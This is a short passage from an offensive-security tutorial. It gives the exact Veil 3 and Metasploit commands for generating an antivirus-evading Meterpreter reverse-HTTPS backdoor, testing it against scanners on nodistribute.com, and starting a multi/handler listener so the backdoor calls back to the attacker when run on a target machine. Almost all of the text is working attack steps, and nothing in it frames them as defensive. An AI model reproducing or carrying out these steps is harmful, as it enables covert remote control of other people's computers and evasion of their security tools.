3. Generating an undetectable backdoor using Veil 3

use go/meterpreter/rev_https.py

 

 

set LHOST 10.0.0.15
set LPORT 8080
set PROCESSORS 1
set SLEEP 6

4. Generate backdoor

generate

 

 

 

 

Scan the file through https://nodistribute.com/.

 

 

Run hander

1. Run Metasploit

msfconsole

2. Use the handler module.

use exploit/multi/handler

3. Set payload

set PAYLOAD [veil payload]

4. Set IP

set LHOST [your IP]

5. Set port

set LPORT [veil port]

 

 

6. exploit

exploit

Run the backdoor file on the target machine sucessfully.
